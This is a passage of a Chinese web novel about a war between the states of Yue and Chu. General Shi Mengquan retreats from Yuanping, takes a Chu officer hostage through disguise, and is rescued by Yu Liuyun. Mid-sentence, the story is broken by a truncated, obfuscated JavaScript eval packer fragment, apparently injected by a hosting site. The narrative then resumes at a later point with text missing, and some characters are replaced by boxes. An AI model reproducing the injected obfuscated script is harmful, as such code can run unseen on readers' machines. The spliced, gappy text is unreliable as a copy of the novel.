好贼人!赵酋不禁心中骂道——不过,这些山贼和楚军做梦也没想到中了个“计中计”吧!不仅佩服石梦泉的判断高明。当下,朗声大笑数声:“你们不是和楚人决裂么?” “决你娘个头!”这一声断喝,是邱震霆。赵酋却也不觉得惊讶了。“爷爷和司马将军回来取你的狗命来了!” 赵酋道:“哼,我也早就想痛痛快快跟楚国的窝囊废们打一场,看看究竟是什么样的军队竟要借助土匪来和对手较量。先前石将军总不许我出城迎战,如今他可拦不了!” 邱震霆道:“少满口屁话挑拨离间,快将老五放了,缴械投降,爷爷饶你不死!” 赵酋道冷冷一笑:“人在我的手里,你敢自称爷爷?”说时,押着辣仙姑一步步走到城外,逼近了杀鹿帮的众人。林子里的楚军也在移动,但是因为有杀鹿帮的人在圈中,没有人敢放箭。 赵酋抽出配刀来,横在辣仙姑的脖子上:“你们算计了这么多,怎么就漏算了这一条?石将军心地善良,一定要我换了俘虏回去,但是我赵酋可不是一个拘泥小节的人——士兵么,我樾国还多的是,就算换不回他们又如何?但这个女人——”他瞪着猴老三:“你老婆就只一个,楚人敢上前一步,我就要了她的命——你们不是说被程亦风诓得很惨么?看来还不够惨,所以你们记不住教训。我来帮你们一把!”说时,作势要割断辣仙姑的喉咙。 “住手!”猴老三和大嘴四一齐喊道,同时,两人一左一右向赵酋扑了上来。 却不料赵酋身子一偏,两手一送,将辣仙姑推了出去,跟着就地一滚到了管不着的旁边,挥刀就朝这二当家的小腿上砍去。 管不着一惊,当然以他的身手是不会被砍着的。可他才跃起闪避,就发现中计了——赵酋一个鲤鱼打挺跳了起来,挥刀斩断拴住樾军士兵的绳子,同时顺手抢过一个杀鹿帮帮众的砍刀来,塞到离自己最近的一个士兵手里:“快,带大家回城里去!” 士兵动作迅速,反身解救了其他的同伴。但再看时,管不着和大嘴四已经欺到了赵酋的身边——邱震霆就在不远处,似乎是因为江湖道义不可以多欺寡,这才没有加入战团。但无论如何,赵酋怎是这些江湖豪侠的敌手?才眨眼的功夫,已经险象环生挂了彩。 士兵们怎肯离去,叫道:“赵督尉,咱们一起跟他们拼了。” 赵酋一边勉力还击,一边道:“不用,自有人跟他们拼。” 辣仙姑被丈夫扶着,听到赵酋此话,知道是指的那五百精锐。杀鹿帮的人根本不是正规军的对手,这样的撕杀还是交给楚军比较好。不是意气用事的时候。她忙道:“大哥,快叫兄弟们……” “撤”字还没出口,前锋营的人已经杀出来了。赵酋本来预计要追到山下才能挑衅楚军,所以挑选的都是骑术高明的兵士,而石梦泉也赞同他的做法——要撤退回大青河北岸,马匹是不能带走的,反正本来他们就不曾带得马匹来,失了楚人的马也无所谓。此时,五百匹战马奔腾而来,整个鹿鸣山似乎都被震动了,隆隆作响。 杀鹿帮的人几次和樾军交手,都是黑沉沉的夜里,采用偷袭的方式,即便是那样,也没战到太多的便宜,如今见到这样的兵队杀气腾腾地冲来,竟有呆住了——梅花鹿群则是受了惊吓,四散逃窜。楚军拘泥着不能伤害“山神”的规矩自然有些狼狈,但很快就从树林里走了出来——司马非练兵有素,士兵们一走到空地上,立刻就排成了马蹄形的战阵,而山道上更响起了一阵车马之声,是先前诈亡的队伍回来了。 赵酋的心中不禁一阵狂喜:好,好!远平之战从开始就是一场斗智斗勇的游戏,最后上当的那一个就要走进坟墓! 管不着、大嘴四这时也都晓得情形不妙了,本想杀了赵酋解恨,但五百樾兵顷刻就杀到了跟前,他们只得丢下赵酋先化解那刺向自己头顶的长枪。有百夫长驱着一匹马来:“赵督尉——上马!” 赵酋一拉缰绳,左脚先勾到了马镫之上,跟着一翻身,也就离开了杀鹿帮众人的威胁。 邱震霆看这架势,果如辣仙姑所言,留在此处也帮不了什么忙,徒然使弟兄们遇险而已,因大声招呼道:“弟兄们,快跟我撤!” 杀鹿帮的人退走之后,远平城前就是楚、樾两军血战之地。要说这两国的仇怨是从何时结下的,恐怕此刻在战场上的人没一个能讲得清,总是长年累月各种怨恨不断积累,像是柴火堆越积越高,再有一两个人的野心迸出火花来,就烧得不可收拾。此时此地拿命来拼的人都只是柴火而已。 楚军的人固然觉得先前的计策得逞,终于得到了狠狠打击樾军的机会,樾军前锋营的人则是事先得了赵酋的吩咐,虽是诱敌,但必得奋力拼杀,否则太易被识破,故尔以少敌多也毫无退却或求援之意。而正是因为身处劣势也不能退却,要想活命唯有愈战愈勇,前锋营的士兵就如杀红了眼一般,有的人刀锋钝了还依然朝敌人身上劈砍,枪头断了就用枪身朝敌手猛扫,一时间,楚军虽众,却也没法收拢包围将樾军消灭,更无法接近城门半步。 两下里斗了大概有一柱香的时间,远平城前不太宽敞的空地上已经血流成河了。司马非不曾到阵前来,遥遥地在山道上指挥着,看这么久也杀不进去,恼火万分:“他们到底有多少人,怎么能支持这么久?” 王谭望着,道:“管有多少?咱们且来一个杀一个,来一百杀一百。石梦泉弄出这莫名其妙的交换俘虏之事来,肯定没安什么好心。咱们将计就计,且看看变化再说。” 司马非的耐心已经快要用到尽头了——若是光攻城,再耗上一阵子也无所谓,但关键是他不知道城的那一边樾军的援军究竟走到了哪里。他派去上游跟下游的队伍一时间不可能就到,若玉旒云抢先过河,那麻烦可就大了。所以他迫不及待要拿下远平城。 便在这时候,赵酋估计戏也做足了,开始招呼前锋营撤退。立刻就有人把这消息报告了司马非。老将军大喜道:“终于撑不住了,追上去,杀进城。” 前方的士兵哪里还等他这道命令,看见敌人撤退自然乘胜追击。没一刻工夫,远平城上的樾军旗帜倒下了,樾军士兵也消失不见。司马非一拍□□坐骑:“走,咱们也跟着朝前挪挪。” 王谭还不放心:“似乎也拿下得太容易了点儿……” “容易?”司马非用鞭子一指城前遍地的尸体,“在我们楚国境内杀得如此惨烈的,十五年来还是第一遭吧?” 王谭一想,倒也是,眼前这一座城,樾人能玩出什么花样来?即便是玉旒云到了城中,一座城们洞开的城还能比一座城门紧锁的城难应付?总是兵来将挡,水来土掩,一切看着办。于是跟着司马非一同打马上前。 不过楚军进成并不像开始想象的那么顺利,城门口拥了一批人进进退退,秩序之混乱,一望而知是先头部队又遇到抵抗了。待有人报了信来,果不其然,说是楚军正和樾军进行巷战,而樾军似乎是因为做垂死挣扎,所以也战得异常奋勇,楚军每进一尺都有伤亡。 “他娘的!”司马非骂道,“他们能奋勇,难道咱们就不能吗?短兵相接,不是你死就是我亡,哪怕是一尺一尺地前进,也要把城给我拿下来!” 此话作为军令,传达起来虽然不雅,但道理却浅显明白。前面的楚军受到激励,精神振奋,也都更加勇猛起来。战线不断地推进,约莫两个时辰的光景,司马非所留下的一万楚军全都进到了城中。 看四周,只见楚军,不见敌人。司马非询问前方巷战的结果如何,回说樾军依然顽抗,不过只剩几百人,就快被逼到城的尽北边了。 王谭在一边皱了皱眉头。 司马非怪道:“怎么?” 王谭道:“有些蹊跷,只剩几百人——那其他的人呢?莫非埋伏着?” 司马非想了想,道:“的确有些古怪。不过,咱们还能真怕他们在城中设下埋伏?” 又过了不到一盏茶的功夫,前方有信来,言,樾军打开北门向河滩上撤退,看样子大部分士卒已经撤走,请示司马非,要不要追击;还有那些继续顽抗的人,是否要格杀。 “原来那几百人是留下来断后的!”王谭惊了惊,“同伴都撤退,自己却要拿命来拼,心中总不免有些愤愤,但他们……”樾国士兵真有难以想象的可怕之处。 司马非倒没发这感慨,摸着下巴想了想,道:“咱们的任务是要守住远平,追击的事……石梦泉这毛头小子有些不简单,我怕中了他的调虎离山之计。反正他花多长时间到达上游或者下游的渡口,咱们早先派的人就花多长时间赶到那里。而咱们早走了一天,碰不碰上玉旒云虽然难说,但拦住姓石的小子倒不成问题。”口中虽这样说,但想起石梦泉这样一个难得的对手或许就要死在乱军之中,又难免生起了一丝惋惜之情,而恰恰这个时候,天空雷声隆隆,乌云移来,眨眼,雨点儿就噼里啪啦地掉了下来。 “可恶!”司马非随口抱怨,“我们打胜仗,老天居然下雨,存心煞风景。” 王谭笑道:“将军何必动怒?其实不是老天煞风景,老天正是要祝贺将军取胜呢!” 司马非愕了愕道:“怎讲?” 王谭道:“今天正是清明。老天仿佛是看到樾军全军覆没……” 他还未说完,司马非已哈哈大笑起来:“不错,玉旒云来年要给手下们上坟,只上清明就好,可以把死忌日给省了……如此算来,她还得感谢我!”因对那传令兵道:“既然敌人拒不缴械,只好将他们全数消灭了。” “是!”那士兵忙不迭地跑开。 王谭也笑了笑:以现在的情形看来,胜利已成定局了吧。 与楚军的心情截然相反,当樾军看到大雨倾盆而下的时候,心底是一片冰凉。全身浴血的罗满、赵酋率领英勇的士兵们撤到了城边,雨水已经将他们身上的鲜血冲刷下来,在地上汇成一条条红色的溪流。 石梦泉在两个亲随的扶持下正在约定地点等着他们。雨水清冷,年轻将军的面色苍白,一种彻骨失望,交织着无穷无尽的不甘心,就在他毫无表情地脸上显露着。罗满和赵酋不约而同地叫道:“将军——”这是天公不作美,怨不得他,他已经尽力了。 而就在他们呼声出口的时候,石梦泉忽然又恢复了无比镇定的神情:“立刻撤退。”说时,竟率先朝城门走去。 就这样放弃了原先的计划?罗满和赵酋不禁相互相互望了一眼:不错,虽然充满了遗憾,但是既然已经无法再继续,就要拿得起放得下。在生死一线的战场上,揪住无法挽回的情形不放,只是浪费时间,同时自寻死路。 赵酋的心里其实还有几分冲动:他娘的,不如再多杀几个楚军,即使赚不回本来,也少亏一点。 但罗满似乎洞察了他的心思,一把抓住他的手腕:“走!” 一行人且战且退,不多时,就下到了河滩上。追来的楚军渐渐少了——尤其,因为飞龙峡的河滩怪石嶙峋崎岖难走,樾军主力早已到此,占据了各个有利的地点,楚军追来的人纷纷丧命。 石梦泉命令朝大青河上游走。其时楚军追兵又有爬上远平北面城墙的,企图朝下放箭,可却发现樾军早把临近城垛的地面凿掉了一层砖,形成了一条鸿沟,弓箭手站在沟中城墙高过他们的头顶,根本无法朝外放箭。众人不由破口大骂,待找了物件垫脚,樾军早已到射程之外了。 经过一个月来的苦战,樾军人马已经折损了五六千,有战场上殒命的,有水土不服的,还有中了毒烟又被泻药所害不幸丧命的,所余者,也有不少和石梦泉一样身心疲惫病痛缠身的。更兼,远平之战以彻底的失败而告终,这些人自随玉旒云征战以来还是头一次遭到如此惨败,心情愈加沉重。 大雨使得布满石头的河滩变得坎坷难行,大伙儿一边艰难地前进,一边还要照顾伤病,所以行程十分缓慢,从这天中午离开远平一直到天黑得伸手不见五指,也没有走出十里地去。 预计最近的渡口还要再行十里,以这样的情形继续下去,就算勉强走到了,还要设法征集船只,恐怕到时还未下水,又有一批人要累趴下。战场上是伤亡是不得已,其他时候能避免就避免。石梦泉看到不远处有一斜倾如雨棚的悬崖,因下令全军到那里就地休息。 由于雨还是下个不停,众人也不得生火取暖,悬崖之下虽然是淋不着,但大家身上早已湿透,入夜便觉得寒意透骨,尤其有伤病在身的,冻得牙齿咯咯直打架。 罗满看石梦泉脸色发青,就把自己的罩袍解下来给将军披上。 石梦泉本想拒绝,可那湿透的袍子沉沉地压在了自己身上,竟有了一些暖意——或许这暖意是来自那忠心部下的眼神:现在不是逞强的时候,一万多部下还要倚靠自己回归祖国,咱们也不能就此倒下去。他便对罗满投去感激的一瞥,道:“让将士们尽量靠拢些,重伤的在内,稍轻的在外,健康的轮班站岗,不可叫野兽接近。” “是。”罗满领命而去。 石梦泉稍稍伸展了一下酸疼的身体,就看到岑远怔怔地站在那里,眼睛像瞎了似的,夜色的黑暗一直从瞳孔侵入到他的心里去。 石梦泉走过去拍了拍他:“怎么,还想着远平?” 岑远才回过神来——他虽说出身将门,但是并没有打过什么硬仗,看石梦泉像是安慰小孩子的兄长似的对待自己不觉纳闷——这个人泰山崩于眼前也依然平静?因忍不住道:“咱们就这样败了?你……不……不气闷?不遗憾?” 石梦泉微微笑了笑:“岑总兵得岑老将军亲身教导,应该知道,世上哪有永远打胜仗的将军?要是吃不起败仗,除非打了一场胜仗之后就再也不上战场。” “可是……”岑远仍然心有不甘。 石梦泉道:“咱们这一回败在老天手上,败在程亦风的手上——程亦风有什么战绩?十六年前在楚京摆空城计,自以为是吓走了你叔父,其实也不过是战略失误,侥幸保住了城池吧;去年在落雁谷率领残兵败将逃脱我军追击——全都是在即将覆灭之时,稍稍又给续上一口气的事儿,他却因此当上了楚国的兵部尚书,被奉为军神一般的人物。同他相比,咱们现在的处境还不算惨吧? 岑远愕了愕,旁边赵酋听到了,也插嘴:“将军,你真这么想?” 石梦泉点了点头,但是转过了脸去——他是个不擅长撒谎的人。这一仗虽然伤亡的人数和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗满、赵酋和岑远也赶忙四下里奔走转告。大队士兵堪堪躲到峭壁之后时,楚军也到跟前了。 这是司马非所派四支阻击玉旒云队伍中的一支,从鹿鸣山地的一处隘口翻了过来。隘口南面山势比较平缓,为了赶时间他们都没有放弃马匹,但翻过来之后河滩上布满乱石,马匹反而成了累赘,行军速度大大减慢。加上大雨倾盆,司马非原叫他们到“鹰眼崖”埋伏,他们走到这时方才见到“鹰眼”——正是石梦泉和部下们避雨休息的悬崖。 领队的是个将副将叫余鹏,借着将熄未熄的松枝的火光,隐隐辨出了“鹰眼”,就下令部队停下来,到鹰眼崖下避雨。这队人马足有一万人,悬崖下那一点儿可怜巴巴的地方根本就不够站。余鹏自己带了亲随避在尽里头,叫外围士兵“放亮了眼光,防备玉旒云这娘们偷偷经过”。 他身边亲随笑道:“天下着这么大的雨,又打雷又闪电的,哪有女人敢在这种天气出门的?” 立刻有人附和:“可不是。说到女人嘛,一听见打雷就钻进被子里,抱着枕头发抖呢。我老婆就是这样。” 头一个又笑道:“哈,那玉旒云到了这种前不着村后不着店的地方,不知要钻进哪里?又哪有枕头给她抱?” “没枕头可以报我嘛!”余鹏啧啧而笑,“她姐姐玉朝雾皇后宠冠六宫,一定是个绝色美人。玉旒云想来容貌也差不到哪里去。况且女人泼辣如她,倒别有一番风味。哈哈哈哈!” 一时间污言秽语,不堪入耳。 其时石梦泉还没来得及躲到峭壁后去,只隐蔽在一处茅草遮盖的石缝中,听到敌人如此侮辱玉旒云不禁气血上涌,太阳穴一跳一跳地抽疼。 不能冲动,不能冲动!他深深呼吸着寒冷的空气,两眼眨呀不眨地紧盯着外面的动静。 余鹏叫人在地上铺了一块油毡,自睡起觉来。他的鼾声一起,其余的楚军也纷纷被瞌睡虫钻了鼻孔。没多时,峭壁遮掩之下的人全都东倒西歪地睡了过去,外围的士兵也一个挨一个地蜷缩着,闭目休息。 石梦泉就蹑手蹑脚地出了藏身之地,转到后面同罗满、赵酋等人会合。 樾军众将士都是满面焦急:“将军,这下如何是好?” 石梦泉道:“他们似乎是想阻击偷袭玉将军。天一亮,估计就会在这附近寻找埋伏之地,那时咱们就隐蔽不下去了。得解决他们才行。” 罗满担心地道:“可是他们的人似乎比咱们多。” “除去咱们的伤兵不算,他们大概有咱们的两倍吧。”石梦泉皱眉沉思,“只能将他们分散开来各个击破……”可是有什么办法呢? 他望着相互扶持着的又冷又累的士兵们,浑身血水和污泥,战衣也损坏了,几乎看不清原来的颜色。他心中突然一动,指着一个士兵道:“把头盔摘下来看看。” 那士兵虽不明白,但还是照做了。 石梦泉眯着眼睛仔细打量,问左右道:“你们看,这样还能辨出是哪一边的人么?” 罗满、赵酋等都在黑暗里拼命辨认——本来樾楚战衣就只有颜色和头盔形状的差异最明显,这时没有了头盔,身上又净是血污,除非凑近了仔细看,否则根本就分辨不出。 “将军,你的意思是……” 石梦泉没立刻回答他们的话,只是对先前那士兵道:“把你的衣服换给我。” 那士兵愣了愣,石梦泉又催:“快!”他只有依命行事。石梦泉便将那破损的战甲穿上了,又俯身摸了两把烂泥涂在脸上,周遭的人几乎都认不出他来了。 他对罗满道:“你去点一百个还能继续战斗的士兵来,除掉头盔,身上能弄多脏就弄多脏。”又对赵酋到:“你集合剩下来的能战斗的士兵,分守在峭壁的东西两头,待我在外面得手之后,就前来支援。” 赵酋、罗满大略猜出他是要混入楚军之中,虽然是个可行之计,但听他的意思是自己要亲自上阵,都惊道:“将军,你……” 石梦泉道:“没时间细细解释了。你们还不照我的话去办?”又叫身边的一名亲随:“你集合轻伤的士兵,叫他们扶助重伤的,只要我们一制住楚军,立刻向上游撤退。” 如果制不住呢?大家心里都有这样的问题,但是同时又知道是没必要问出口的——如果制不住,就是死路一条! 不多时,布置已停当,石梦泉和罗满领着一百士兵从鹰眼崖东面绕了出来,直闯到楚军的阵营之中。楚军便都惊醒了,喝道:“什么人?” 石梦泉哑着声音,尽量不露出北地口音:“自己人……樾人没……没到这里?” 问话的楚兵拿松枝过来一照,见来人气息奄奄,一副快要死了的模样,看服饰也的确像自己人,先是一惊,接着问道:“你们……你们是谁的手下?” 石梦泉道:“我……我们是跟着……司马……将军打远平的……樾人从北门跑了……我们奉命追击……跟他们交上了手……” 楚军士兵听言,无不大惊:“什么?你们追击樾兵到这里?那樾兵人呢?” 石梦泉喃喃道:“不……不知道……”声音越来越地,几乎听不到了。 那楚兵急得直摇晃他:“你快说呀!” 罗满怒冲冲地扶住石梦泉:“想把咱们千总给折腾死么?我们追了一路,打了一路,后来不见了樾兵,猜想他们也许跑到林子里去了,就到林子里找,可没看见。许是还在河滩上。” 楚兵听了,交头接耳:要是还在河滩上咱们从上游过来也没遇见——究竟是已经跟咱错过了,还是正在朝咱们这边过来?“不成!”他们道,“得赶紧报告余副将知道!” 罗满听他们说出将领的名号,也就道:“对,快带咱们去见余副将,也找个医官来看看千总。” 楚兵不疑有他,当下把石梦泉等带到了余鹏休憩之处。余鹏还睡眼惺忪呢,道:“什么事?”待手下如此这般地说了一通,他立刻跳了起来:“快带上来见我!” 石梦泉等人便到了跟前。他们本来已打扮得相当狼狈,这时有松枝微光照耀,泥浆血迹红一块黑一块地显露出来,更叫人确信这是激战之后的队伍。 余鹏走到了石梦泉和罗满的面前:“你们快把情形细细地跟我说一回,樾军到底有多少人,你们何时与他们遭遇的?” “是……”石梦泉用低如耳语般的声音说道,“樾军……” “什么?”余鹏凑近了。 便在这时,空中一个打闪,白亮的光如同匕首,似乎从天上交到了罗满的手中,余鹏都还没来得及惊叫,已经被逼住了咽喉。周围的楚兵方才发现事情有变,但第二次闪电照射下来,那一百名樾兵都亮出了兵刃。 石梦泉冷冷道:“你们谁敢上前来的,立刻就要了你们余副将的命。” 楚军仗着人多,觉得还可以一拼,不少人都端着配刀逼了上来。可是余鹏感觉脖子上那一线冰凉就要割破肌肤了,连忙喝道:“都退下!你们想要我的命么!” 石梦泉开始还担心他不怕死,那事情就要棘手得多。这时,再好办不过了。“叫你的人放下兵器。”他命令。 “是……放……放下兵器!”余鹏颤声。 楚军全愕了愕。 余鹏骂:“听不懂么?放下兵器!” 他的亲随们看看情形,最先无奈地遵从了指示。接着,由里朝外,一圈一圈,刀枪剑戢,乒另乓啷地丢在了地上。 石梦泉点点头道:“很好。叫他们朝后退。” “听……听见没有?”余鹏道,“还不传令下去,朝后退!” 他的亲随们无法,只好照办。楚军阵营里一阵混乱,但果然朝后退了丈许。鹰眼崖的峭壁左右都空了出来,石梦泉就夺过余鹏手中的松枝,朝空中一举,火光在这一挥之下,变得明亮了起来。“前锋营,还不把敌人给我围了?” 早已等待着的赵酋即率领士兵冲了出来,虽然人数远不及楚军之众,但这样从峭壁两边鱼贯而出,顷刻组成了半个包围圈,在黑沉沉夜里倒显得仿佛人多势众一般。 在这种情况下,真正交上手就占不到任何便宜了。石梦泉想,还是威慑敌人比较有效。 他冷冷地瞥了余鹏一眼:“叫你的人给本将军让开一条道。” “是……是……”余鹏不敢不听。 石梦泉悄声对一个士兵道:“你去,叫伤兵先撤退,要快!” 那士兵得令飞奔而去。石梦泉就向余鹏充满威胁地一笑:“余副将,本将军想请你跟我去樾国做客。” 余鹏一愣:“啊?” 罗满已经拖着他道:“走!”即将他当作人质,随同樾军大部队撤离。 先是伤兵们在西侧部队的掩护下,神不知鬼不觉地离开了鹰眼崖,接着,石梦泉等人押着灰头土脸的余鹏朝外围走。所到之出,楚军犹疑地给他们让开道路。虽然楚军都放下了兵器,但跟随石梦泉和罗满的一百名樾军勇士丝毫也不敢松懈,架着刀,端着矛,警惕地观察着周遭的动静。 就快要走出去了。石梦泉两腿微微有点发虚:只要东侧的士兵跟上来断后。只要楚人继续处在这种震惊且惶惑的状态中……老天,让他把这些战士们带回北方吧! 可偏偏在这个时候,天空再一次打闪。只听楚军阵中有人叫道:“都傻了么?就为了他姓余的一个人,咱们就这么窝囊下去?” 一语掷地,楚军中登时骚动起来。 樾军士兵纷纷握紧了兵器,更打起十二分的精神。 余鹏又惊又怒,骂道:“谁……谁在胡说八道?” “是老子!”蓦地一声暴喝,罗满还没反应过来呢,便见一条黑影如鹫鹰一般从天而降,手中刀光凛冽,直朝自己砍了下来。他急忙闪山避开。却不料这人的目标并不是他,一刀下去,竟将余鹏斩成了两半。“姓余的要投降,拿咱们的命来开玩笑,咱们犯不着陪他!”那人高声道,“楚国的勇士们,大家拿起兵器来,跟樾贼拼了! 楚兵见余鹏已死,樾人没有人质,而己方如此的行为正是跟樾军撕破脸来,哪怕不想打,也再无其他选择的余地。再说,开始还没交战,余鹏就叫大家丢下兵器,众人难免都觉得有些窝囊。这时,不少人都拣起了兵器来。一有带头的,旁人也纷纷效仿。喊杀声立时充斥天地。 石梦泉心底不由一凉。他颈边一阵劲风,偏身让开,看到是方才斩杀余鹏的那个楚军士兵,瞧服色最多不过是个百夫长罢了,但生得虎背熊腰,身手亦很是不凡。 罗满拔刀上前保护石梦泉,眨眼就和那人斗成了一团。 石梦泉再看周围,尽是撕杀,根本就分不清哪儿是自己人,哪儿是敌人。天空中的闪电不停地劈下来。但是天边也渐渐露出了一丝曙色,黎明一片血红。 20. 第 20 章 雨依然不停,泥水、血水混合着,从石滩上汩汩朝大青河流去。 天愈来愈亮了,可楚樾双方撕杀着,昏天黑地,根本注意不到周遭的景物。楚军在兵力上占有绝对的优势,一场激战到此时,樾军已伤亡太半,没有殒命的,都被一步步逼到了临近大青和的地方,时间稍久,就算不丧命在敌人的刀下,也要葬身鱼腹之中。 罗满是石梦泉麾下第一猛士,跟楚军那名下令反抗的汉子已不知斗了多少个回合,竟分不出胜负来,他真是既着急,又恼火,使出浑身本事,将配刀舞得仿佛一团银色的雾气,直向对手袭去。而那汉子也不含糊,身子虽然左闪右避,刀法却全然进手招术,一心要取罗满的性命。两人提时你将我逼退了几步,一时我将你打退了数尺,同时还就手解决些靠近自己的敌方士兵,正是难解难分。 岑远的武功虽然较花哨些,可对付一般的士兵已绰绰有余。他所过之处,立刻就杀开一条血路,只是,敌人太多了,根本看不见路的尽头。赵酋因为罗满与人缠斗,自然就接过了保护石梦泉的任务,可以陷入肉搏战中后,他根本就不知道石梦泉被困在何方。 石梦泉自己也不知道。也许人到了生死的关头就能忽略病痛,战斗一打响,他就从敌人手中夺过一柄长枪来,同部下们并肩作战。这时,身体仿佛都已经不是自己的了,只是机械地在拼杀。 然而思想却变得格外清晰,且平静,与玉旒云相识十六年的点滴慢慢从脑海里飘过:我曾发誓要一辈子追随她,保护她,今日倘命绝于此,总算是守住了自己的誓言。 有利器刺穿了他的身体,他竟也浑然不觉。与他交手的敌人反而被惊得忘记了再补上致命的一击,被他一□□死。 血从他的身体里流出来,他的灵魂也跟着流出来,那一刻离开了躯体,飞到了天空之中,俯瞰战场。累了,想离开了,可以吗?怎能放着誓言不顾呢?她会说什么呢? 浴血的河滩,他感觉自己正向上游越飞越远。蓦地,一面玄色旗帜晃过他的眼前——那是—— 黑云般的大旗,中间又有闪烁的金光,仿佛太阳从云层里透出来——那是金狮子呀!是庆澜帝送给玉旈云的生日礼物,那面惊雷大将军旗! 石梦泉的心中一阵狂喜:果然是玉旒云来了么?不是自己灵魂出壳在做梦么? 伤口的剧痛真实地袭来,他看见一柄钢刀向自己兜头斩下,连忙横枪格挡。敌人的力气很大,震得他两臂酸痛。同时,背后一凉,跟着,身体好像被撕裂了似的,眼前天旋地转。 “可恶!拿命来!”听到一声熟悉的厉喝,玄色的金狮旗帜飘到了跟前,黑袍银甲的年轻武将长剑脱手掷出,将持刀的敌人生生钉死在地。接着,矫捷如闪电的身影跃到了自己的面前。 “梦泉——” 他听到这一声呼喊,觉得舒坦至极:“玉将军……”然后就完全失去了意识。 玉旒云托住挚友的身子:“梦泉!”旁边有人挥刀向她袭来,她连看也不看一眼,从方才被自己钉死的敌人身上顺手拔出长剑来,斜削过去,那人就身首异处。 她的兵队从后潮水般地拥上来。 “把这些卑贱的楚人给我杀干净了!”她冷冷地命令,将石梦泉扶到自己的马上,打马朝战团外冲去。那坐骑似乎也感染了她中的愤怒,撒蹄之时常常有意朝楚人身上踏去,而玉旒云也不时挥剑。待她杀回自己的阵营时,来路上横七倒八又多了十多条楚兵的尸体。 她自那日见了愉郡主之后,率领骁骑营直向回赶,到了飞龙峡上游三十里的瑞津港,便征调当地所有民船欲渡大青河。这工程浩大,显然不是眨眼就能办成的,饶是瑞津县令跑断了腿,也用了三天才完成——瑞津当地不仅是大青河的港口,也是从大青河支流瑞渠向北方运输的起点。县令看玉旒云满面阴云,仿佛随时要取人性命的样子,就把运河上运粮的大船也都征调了过来。这才见年轻的惊雷将军眉头稍稍舒展,说了句:“你办得不错。” 那天夜里便要渡河,不意才走到港口,瑞津县令又跌跌爬爬地跑来了:“将军,您手下的步军营来了。” 玉旒云一惊:那些人,不是跟着健锐营的卢进在攻打石坪么?传令立刻上来见她。待到了跟前,发觉不仅是步军营,连神弩营也来了,只是不见卢进的健锐营外。她不禁皱眉道:“你们这是做什么?” 步军营的督尉慕容齐上来道:“禀将军,卢督尉接到探子来报,程亦风派司马非率领五万大军进攻远平城。将军只带三千骑兵,恐非其敌手,卢督尉于是叫我等火速来援。” 原来是这样。倘若远平被五万大军攻击,目下又没有刘子飞和吕异的援助,那根本就不是交战是问题,只是如何全身而退。然而这些人已来了,总不能叫他们再回去。便问:“那么石坪呢?” 慕容齐道:“将军放心,其实程亦风得知将军回援石坪,吓得立刻叫他们的民兵撤退。所以根本就不用我们花力气去打。行到半路的时候,卢督尉有信来,说是已经占领石坪了。” “恩。”玉旒云的面色这才缓和了些,“程亦风又是怎么知道我回援石坪的?” “他好像是……截住了将军写给咱们那暗桩的信。” “这样?”那这暗桩子岂不是暴露了?她咬着嘴唇想了想:也罢,不是计较这些的时候。已经夺回石坪,至少在此一战中不算失利,假如让司马非拿回远平城去,最多算是无功而已。她没有必要和楚国五万大军在这种情况下交锋。她需要寻找一个必胜的机会。目下最紧要的,是石梦泉不能出事! 慕容齐道:“将军,我等随您渡河吧!” 玉旒云摇头,吩咐那瑞津县令道:“你立刻征调船夫和工匠来,给我把这些船只用铁链穿好固定,在大青河上架一座栈桥。“ “啊?”那县令一怔。慕容齐等人也都吃了一惊:“将军把船连在一起,万一被敌军发现,放火来烧,岂不坏了大事?古时便有教训……” “不。”玉旒云摆手叫他们住口,继续吩咐那县令,“你不仅要把船给我连上,还要准备稻草在船上。” 县令唯唯连声,立刻去办,到第二天夜里,总算完工。玉旒云就带骁骑营三千人过河去。临行,对神弩营督尉韩夜交代道:“带你的人在附近埋伏上,倘我去时有楚军来袭击,你们就冲到栈桥上,向对岸放箭掩护。假如我回来时有楚军追来,待我和石将军的队伍一登岸,你们就向栈桥发射火箭,将其烧毁。” 韩夜应了,又问:“将军,万一您一去一回中间有楚人来袭呢?” 玉旒云看了看他,又看了看其他的督尉们,道:“你们自己看着办,好歹也领兵这么久了,总不至于让我和石将军就陷在对岸吧。” 韩夜才也觉得自己问的是句傻话,低头不语。慕容齐道:“将军放心,我等一定坚守在此,迎将军回来。” 玉旒云点了点头,带着骁骑营策马从那栈桥上奔驰而去——那日正是清明,下着雨,水流激荡,栈桥摇晃,而骁骑营骑术精湛,如履平地,转眼就到了南岸,在崎岖的河滩上,他们也奔驰如飞,相比余鹏的队伍,速度快了一倍也不止,这才在黎明之时赶到了樾楚交战的战场。 三千人,在数目上并不占优势,不过他们都还未在战场上消耗过精力,骤然杀来,力量上可以以一敌二。一边倒的局势瞬间扭转,胶着的沙场渐渐分散开来,骁骑营形成了一道铜墙铁壁,将石梦泉的部下大部救护到了其后,杀红了眼的楚军被挡在东面。 楚军带头的那汉子气喘如牛,横着刀,死死瞪住樾军:“大家不要慌!他们成不了气候的,司马将军不是还派了人到更上游的地方去吗?咱们只要撑住了,上游的人一到,什么惊雷大将军,都叫她有来无回!” 楚军受了这鼓舞,想起方才玉旒云已经下了格杀令,自己若不拼命,就只有被宰杀的份,一时,全军又响起了野兽般的嚎叫。 随玉旒云而来的骁骑营督尉陈灏不无担心地道:“将军,倘这小子说的是真的,咱们就腹背受敌……” 玉旒云恨恨地,本想说“腹背受敌也要先宰了这些楚人”,但马上的石梦泉身子微微一动。她看到挚友青灰的面庞,心里一震:我如此赶来,就是为了救他,倘若真是遭遇楚国援军,我俩死在这里,那么这一切岂不是都失去了意义?当下把牙一咬:“骁骑营掩护,撤退!” 这条退路也一点儿也不容易。楚军在后穷追不舍,骁骑营不得不采取歼灭战的方法,但有追上来的,见一个杀一个。但是由于前面伤兵行动缓慢,骁骑营和楚军交手的时间便较多,这样一来,虽然楚人损伤惨重,樾军付出的代价也不小。一直走出十里地去,这才渐渐把楚军甩掉了,可樾军也有不少重伤的士兵死在路上。 